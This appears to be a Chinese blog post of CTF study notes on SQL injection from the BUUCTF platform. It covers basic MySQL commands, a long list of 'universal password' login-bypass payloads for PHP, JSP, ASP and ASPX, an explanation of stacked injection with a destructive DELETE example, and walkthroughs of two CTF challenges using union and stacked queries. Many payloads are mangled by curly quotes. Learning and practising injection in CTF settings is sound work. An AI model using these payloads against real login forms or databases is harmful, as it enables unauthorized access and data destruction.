0xArthur Buuctf SQL类型

Buuctf SQL 类型题

SQL 数据库语法

系统登录数据库命令:
mysql -u root -p #登录数据库

数据库命令:
show databases; #查看数据库(在根目录下执行)
create database 数据库的名字 charset utf8; #创建数据库-给数据库选择字符集
drop database 数据库的名字; #删除指定的数据库
use 数据库的名字; #选择进入的数据库

数据表命令:
--------------------------------------------------------
create table 数据表的名字(
id int,
name varchar(40),
sex char(4),
birthday date,
job varchar(100)
); #创建数据表-写入数据表信息
--------------------------------------------------------
show full columns from 数据表的名字; #查看数据表所有信息
select * from 数据表的名字; #查看数据表列表
drop table 数据表的名字; #删除数据表
rename table 数据表的名字1 to 数据表的名字2; #修改数据表名字
alter table 数据表的名字 character set utf8; #修改数据表字符集
--------------------------------------------------------
insert into 数据表的名字(id,name,sex,birthday,job)
values(1,'ctfstu','male','1999-05-06','it'); #向数据表中写入内容
--------------------------------------------------------
alter table 数据表的名字 add 数据表的列名字 decimal(8,2);
# 向数据表中增加一列内容(整数8位,2位浮点)
update user set 数据的列名字=5000;
# 修改数据列所有的值为5000
update user set 数据表的列1名字='benben' where 数据表的列2名字=1;
#定位数据表中
update user set name='benben2',salary=3000 where id=1;
#修改列名id=1该行的列名name为benben2,列名salary为3000
alter table 数据表的名字 drop 列名字;
#删除表中的列
delete from 数据表的名字 drop 列名字='it';
#删除数据表中的行(列的值为it的行)
delete from 数据表的名字;
#删除数据表

万能密码表

1.原理

 select * from table_name where username='xxxx' and password='xxxx'


2.构造变化

1' or 1=1 
# select 信息 from users where username='1' or  1=1 # ' and password='输入的密码'

1' union select database() 
# select 信息 from users where username='1' union select database() #' and password='输入的密码'

1' union select table_name frome information_schema.tables 
# select 信息 from users where username='1' union select table_name from information_schema.tables #' and password='输入的密码'


3.构造

----------------------------------------------------------------------
PHP 万能密码:

'or 1=1/*

"or “a”="a

"or 1=1–

“or”="

“or”="a’='a

"or1=1–

“or=or”

'‘or’=‘or’

') or (‘a’='a

‘.).or.(’.a.’=’.a

'or 1=1

'or 1=1–

'or 1=1/*

‘or"="a’='a

‘or’ ‘1’=‘1’

‘or’’=’

‘or’’=’‘or’’=’

‘or’=‘1’

‘or’=‘or’

'or.‘a.’='a

'or1=1–

1’or’1’='1

a’or’ 1=1–

a’or’1=1–

or ‘a’=‘a’

or 1=1–

or1=1–

用户名:anything 密码:' or '1'='1

---------------------------------------------------------------------
JSP万能密码:

1’or'1'='1

admin’ or 1=1/*

---------------------------------------------------------------------
ASP万能密码:

"or "a"="a

')or('a'='a

or 1=1--

'or 1=1--

a'or' 1=1--

"or 1=1--

'or'a'='a

"or"="a'='a

'or"='

'or'='or'

1 or '1'='1'=1

1 or '1'='1' or 1=1

'OR 1=1%00

"or 1=1%00

(替换表名admin) 用户名:'UNION Select 1,1,1 FROM admin Where "=' 密码:1

------------------------------------------------------------------------
 aspx万能密码:

"or “a”="a

‘.).or.(’.a.’=’.a

or 1=1–

'or 1=1–

a’or1=1"or 1=1–

'or.‘a.’='a

“or”="a’='a

‘or’’=’

‘or’=‘or’

admin’or 1=1#

-------------------------------------------------------------------
常规密码:

 ‘or 1=1/*
 
"or “a”="a

“or 1=1–

“or”=”

“or”="a’=‘a

“or1=1–

“or=or”

'or=or’

‘) or (‘a’=‘a

‘.).or.(.a.=.a

'or 1=1

'or 1=1'or 1=1/*

'or="a’=‘a

‘or’ ‘1’=‘1’

‘or’’=’

‘or’‘=’‘or’‘=’

‘or’=‘1’

‘or’=‘or’

‘or.‘a.’=‘a

‘or1=1–

1’or’1’=‘1

a’or’ 1=1–

a’or’1=1–

or ‘a’=‘a’

or 1=1–

or1=1-- asp aspx "or “a”="a

‘.).or.(’.a.’=’.a

or 1=1–

‘or 1=1–

a’or’ 1=1–

"or 1=1–

‘or.‘a.=‘a

“or="a’=‘a

‘or’’=or=or’ jsp 1or1=1

admin’ or 1=1/*

-------------------------------------------------------------------

国际标准万国码-【`】Mysql中表明数据库名、表名、字段名

1' ; show columns from `1919810931114514`;#

(注意表名前后的`符号,我打了好久才知道这个符号,在TAB键上面切成英文可以打出来,加在表名前后

【`】是国际标准万国码的全形抑音符(全宽重音符号)
英文名为【FULLWIDTH GRAVE ACCENT】。位于万国码uFF40。

(通常用来说明其中的内容是数据库名、表名、字段名,所有的数据库都有类似的设置,不过Mysql用的是`)

堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

1. [极客大挑战 2019]EasySQL 1

  1. 万能密码绕过
1' or 1=1 #
  1. 联合注入查询
    第一步:
1' union select 1,2
1' union select 1,2,3
1' union select 1,2,3,4

第二步:

1' union select 1,2,database() #

2.[强网杯 2019]随便注 1

  1. 尝试是否存在注入
1
1'
1'#
  1. 常用注入
1or 1=1;#
  1. 测试字段数量
1' order by 1;#
1' order by 2;#
1' order by 3;#
  1. union select联合查询
1‘ union select 1,2;#
  1. 堆叠注入
1' ; show databases;#                        //查看数据库
1' ; show tables ;#
1' ; show columns from `1919810931114514`;#
1' ; show columns from words;#
  1. 推断后台sql语句
select id,data from words where id=
//可以看到words表里有两个属性,即两列:id 和data1919810931114514表里只有一个属性列
说明输入框可能查询的就是words表
  1. 把1919810931114514表改名为words表,把属性名flag改为id,然后用1’ or 1=1;# 显示flag出来
    在这之前当然要先把words表改名为其他
1';rename table `words` to words2;rename table `1919810931114514` to `words`;alter table words change flag id varchar(100);#
  1. 查询表名
1';show tables;#
  1. 查询words表中的列信息
'columns from words;#
  1. 输出flag
1' or 1=1;#

参考链接:

  1. [极客大挑战 2019]EasySQL1

访白鹿:https://blog.csdn.net/m0_75178803/article/details/131169675

Craven_:https://blog.csdn.net/emdog/article/details/120878215

风过江南乱:https://blog.csdn.net/TM_1024/article/details/106156448

  1. [强网杯 2019]随便注1

半杯雨水敬过客:https://blog.csdn.net/weixin_44214568/article/details/119260819

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值